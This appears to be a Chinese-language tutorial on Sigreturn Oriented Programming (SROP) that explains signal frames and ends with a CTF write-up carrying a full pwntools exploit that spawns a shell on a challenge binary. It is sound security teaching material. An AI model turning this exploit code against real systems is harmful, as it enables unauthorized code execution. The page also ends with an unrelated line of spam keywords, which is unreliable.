<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    SROP

    這個攻擊確實很有效,在不同版本的Unix系統(如GNU Linux,BSD,iOS/Mac OS X等)中被使用了40多年的Signal機制,存在一個很容易被攻擊者利用的設計缺陷,而這個缺陷所產生的相應的攻擊,即文中所描述的SROP,和傳統的ROP攻擊相比顯得更加簡單,可靠,可移植。
    SROP(Sigreturn Oriented Programming)最早是在安全頂會Oakland 2014提出的。
    論文原文
    會議演講的PPT

    回顧ROP

    最早的code injection攻擊在現在的操作系統中基本上不能使用,因此出現了ROP,也就是所謂的Return Oriented Programming,其中也包括比較早期的Return-to-libc。ROP的主要思想就是攻擊者不需要自己注入代碼(因為在DEP的保護下,注入的代碼不可執行),而是利用系統已有的代碼片段來構造攻擊。這里之所以叫ROP,是因為其改變控制流的方式是用系統中的return指令(比如x86中的ret)。
    這里需要說明的是,在棧操作中,ret指令是唯一一個可以通過控制棧上的數據改變指令流的指令,它的效果等同于:

    • pop %eax
    • jmp %eax

    即將IP設置成棧上的某個值。因此如果我們可以控制棧上的數據,就可以控制執行流。

    前提條件

    要完成一個成功的ROP攻擊,需要有很多前提條件,這里列舉幾個最重要的:

    1. 首先必須要有一個buffer overflow的漏洞(當然這個前提基本上所有攻擊都必須得有);
    2. 攻擊者需要事先決定好完成攻擊過程的所有gadgets。對于上面提到的賦值操作,總共只需要3個gadgets,每個gadget最長兩條指令,但是如果需要進行一些復雜的操作,就有可能需要有很多gadgets;除了gadgets的數量多之外,單個gadget的指令數也需要考慮;
    3. 攻擊者需要在被攻擊程序所在的進程地址空間中找到所有的這些gadgets的首地址,并且將其填在棧的合適位置上。

    這三個前提條件,造成了傳統的ROP對于攻擊者來說具備了一定的難度,加上現在操作系統中的一系列保護機制(比如ASLR),使得尋找gadgets的地址變得更難了。而且對于攻擊者來說,他攻擊每個不同的應用程序都需要單獨精心構造大量的gadgets,這也使得ROP的可復用性變得很差。

    以上的這些,都是我們接下來將要介紹的SROP所想要解決的問題。

    SROP攻擊原理

    signal機制

    signal機制是類unix系統中進程之間相互傳遞信息的一種方法。一般,我們也稱其為軟中斷信號,或者軟中斷。比如說,進程之間可以通過系統調用kill來發送軟中斷信號。一般來說,信號機制常見的步驟如下圖所示:

    SROP

    1. 內核向某個進程發送signal機制,該進程會被暫時掛起,進入內核態。

    2. 內核會為該進程保存相應的上下文,主要是將所有寄存器壓入棧中,以及壓入signal信息,以及指向sigreturn的系統調用地址。此時棧的結構如下圖所示,我們稱ucontext以及siginfo這一段為Signal Frame。需要注意的是,這一部分是在用戶進程的地址空間的。之后會跳轉到注冊過的signal handler中處理相應的signal。因此,當signal handler執行完之后,就會執行sigreturn代碼。

    SROP

    對于signal Frame來說,不同會因為架構的不同而因此有所區別,這里給出分別給出x86以及x64的sigcontext

    • x86
      struct sigcontext
      {
      unsigned short gs, __gsh;
      unsigned short fs, __fsh;
      unsigned short es, __esh;
      unsigned short ds, __dsh;
      unsigned long edi;
      unsigned long esi;
      unsigned long ebp;
      unsigned long esp;
      unsigned long ebx;
      unsigned long edx;
      unsigned long ecx;
      unsigned long eax;
      unsigned long trapno;
      unsigned long err;
      unsigned long eip;
      unsigned short cs, __csh;
      unsigned long eflags;
      unsigned long esp_at_signal;
      unsigned short ss, __ssh;
      struct _fpstate * fpstate;
      unsigned long oldmask;
      unsigned long cr2;
      };
    • x64
     struct _fpstate
        {
          /* FPU environment matching the 64-bit FXSAVE layout.  */
          __uint16_t        cwd;
          __uint16_t        swd;
          __uint16_t        ftw;
          __uint16_t        fop;
          __uint64_t        rip;
          __uint64_t        rdp;
          __uint32_t        mxcsr;
          __uint32_t        mxcr_mask;
          struct _fpxreg    _st[8];
          struct _xmmreg    _xmm[16];
          __uint32_t        padding[24];
        };
    
    struct sigcontext
        {
          __uint64_t r8;
          __uint64_t r9;
          __uint64_t r10;
          __uint64_t r11;
          __uint64_t r12;
          __uint64_t r13;
          __uint64_t r14;
          __uint64_t r15;
          __uint64_t rdi;
          __uint64_t rsi;
          __uint64_t rbp;
          __uint64_t rbx;
          __uint64_t rdx;
          __uint64_t rax;
          __uint64_t rcx;
          __uint64_t rsp;
          __uint64_t rip;
          __uint64_t eflags;
          unsigned short cs;
          unsigned short gs;
          unsigned short fs;
          unsigned short __pad0;
          __uint64_t err;
          __uint64_t trapno;
          __uint64_t oldmask;
          __uint64_t cr2;
          __extension__ union
            {
              struct _fpstate * fpstate;
              __uint64_t __fpstate_word;
            };
          __uint64_t __reserved1 [8];
        };
    1. signal handler返回后,內核為執行sigreturn系統調用,為該進程恢復之前保存的上下文,其中包括將所有壓入的寄存器,重新pop回對應的寄存器,最后恢復進程的執行。其中,32位的sigreturn的調用號為77,64位的系統調用號為15。

    攻擊原理

    仔細回顧一下內核在signal信號處理的過程中的工作,我們可以發現,內核主要做的工作就是為進程保存上下文,并且恢復上下文。這個主要的變動都在Signal Frame中。但是需要注意的是:

    • Signal Frame被保存在用戶的地址空間中,所以用戶是可以讀寫的。
    • 由于內核與信號處理程序無關(kernel agnostic about signal handlers),它并不會去記錄這個signal對應的Signal Frame,所以當執行sigreturn系統調用時,此時的Signal Frame并不一定是之前內核為用戶進程保存的Signal Frame。

    說到這里,其實,SROP的基本利用原理也就出現了。下面舉兩個簡單的例子。

    獲取shell

    首先,我們假設攻擊者可以控制用戶進程的棧,那么它就可以偽造一個Signal Frame,如下圖所示,這里以64位為例子,給出Signal Frame更加詳細的信息

    signal2-stack

    當系統執行完sigreturn系統調用之后,會執行一系列的pop指令以便于恢復相應寄存器的值,當執行到rip時,就會將程序執行流指向syscall地址,根據相應寄存器的值,此時,便會得到一個shell。

    system call chains

    需要指出的是,上面的例子中,我們只是單獨的獲得一個shell。有時候,我們可能會希望執行一系列的函數。我們只需要做兩處修改即可

    • 控制棧指針。
    • 把原來rip指向的syscall gadget換成syscall; ret gadget。

    如下圖所示 ,這樣當每次syscall返回的時候,棧指針都會指向下一個Signal Frame。因此就可以執行一系列的sigreturn函數調用。

    signal2-stack

    總結

    需要注意的是,我們在構造ROP攻擊的時候,需要滿足下面的條件

    • 可以通過棧溢出來控制棧的內容
    • 需要知道相應的地址
      • “/bin/sh”
      • Signal Frame
      • syscal
      • sigreturn
    • 需要有夠大的空間來塞下整個sigal frame

    此外,關于sigreturn以及syscall;ret這兩個gadget在上面并沒有提及。提出該攻擊的論文作者發現了這些gadgets出現的某些地址:

    gadget1

    并且,作者發現,有些系統上SROP的地址被隨機化了,而有些則沒有。比如說Linux < 3.3 x86_64(在Debian 7.0, Ubuntu Long Term Support, CentOS 6系統中默認內核),可以直接在vsyscall中的固定地址處找到syscall&return代碼片段。如下

    gadget1

    但是目前它已經被vsyscall-emulatevdso機制代替了。此外,目前大多數系統都會開啟ASLR保護,所以相對來說這些gadgets都并不容易找到。

    值得一說的是,對于sigreturn系統調用來說,在64位系統中,sigreturn系統調用對應的系統調用號為15,只需要RAX=15,并且執行syscall即可實現調用syscall調用。而RAX寄存器的值又可以通過控制某個函數的返回值來間接控制,比如說read函數的返回值為讀取的字節數。

    例題

    360春秋杯中的smallest-pwn
    鏈接: https://pan.baidu.com/s/1l17GvzruVeMTD3JsgsOdDw 密碼: e9ts

    SROP
    堆棧不可執行

    SROP

    IDA下一看,就這么點東西。首先將rax置0,接著給寄存器賦值,在64位下,保存前三個參數的寄存器分別是rdi, rsi, rdx,最后執行syscall指令。read(0, $rsp, 0x400h)

    利用思路

    很明顯,就這么幾行匯編代碼我們沒看到sigreturn調用,因此就要去構造。不過題目中給了我們read函數,我們可以通過read讀取的字節數來設置rax的值。這里解釋一下為什么
    ssize_t read ^[1]^ (int fd, void *buf, size_t count);
    成功返回讀取的字節數,出錯返回-1并設置errno,如果在調read之前已到達文件末尾,則這次read返回0。
    那么rax保存的是函數的返回值,當然可以通過控制輸入字節數來設置rax了。我們的思路如下

    • 通過控制read讀取的字符數來設置RAX寄存器的值,從而執行sigreturn(SROP)
    • 通過syscall執行execve(“/bin/sh”,0,0)來獲取shell。
      exp如下
    from pwn import *
    from LibcSearcher import *
    
    small = ELF('./smallest')
    sh = process('./smallest')
    
    context.arch = 'amd64'
    context.log_level = 'debug'
    syscall_ret = 0x00000000004000BE
    start_addr = 0x00000000004000B0
    ## set start addr three times
    payload = p64(start_addr) * 3 # 讀取三個程序起始地址
    sh.send(payload)
    
    ## modify the return addr to start_addr+3
    ## so that skip the xor rax,rax; then the rax=1
    ## get stack addr
    # 程序返回時,利用第一個程序起始地址讀取地址,
    # 修改返回地址(即第二個程序起始地址)為源程序的第二條指令,
    # 并且會設置rax=1
    sh.send('\xb3')
    stack_addr = u64(sh.recv()[8:16]) 
    # 那么此時將會執行write(1,$esp,0x400),泄露棧地址。
    log.success('leak stack addr :' + hex(stack_addr))
    
    ## make the rsp point to stack_addr
    ## the frame is read(0,stack_addr,0x400)
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_read
    sigframe.rdi = 0
    sigframe.rsi = stack_addr
    sigframe.rdx = 0x400
    sigframe.rsp = stack_addr
    sigframe.rip = syscall_ret
    # 利用第三個程序起始地址進而讀入payload
    payload = p64(start_addr) + b'a' * 8 + str.encode(str(sigframe))
    sh.send(payload)
    # 再次讀取構造sigreturn調用,進而將向棧地址所在位置讀入數據,
    # 構造execve('/bin/sh',0,0)
    ## set rax=15 and call sigreturn
    sigreturn = p64(syscall_ret) + b'b' * 7
    sh.send(sigreturn)
    
    ## call execv("/bin/sh",0,0)
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_execve
    sigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addr
    sigframe.rsi = 0x0
    sigframe.rdx = 0x0
    sigframe.rsp = stack_addr
    sigframe.rip = syscall_ret
    # 再次讀取構造sigreturn調用,從而獲取shell。
    frame_payload = p64(start_addr) + b'b' * 8 +str.encode(str(sigframe))
    print(( len(frame_payload) ))
    payload = frame_payload + (0x120 - len(frame_payload)) * b'\x00' + b'/bin/sh\x00'
    sh.send(payload)
    sh.send(sigreturn)
    sh.interactive()

    參考

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类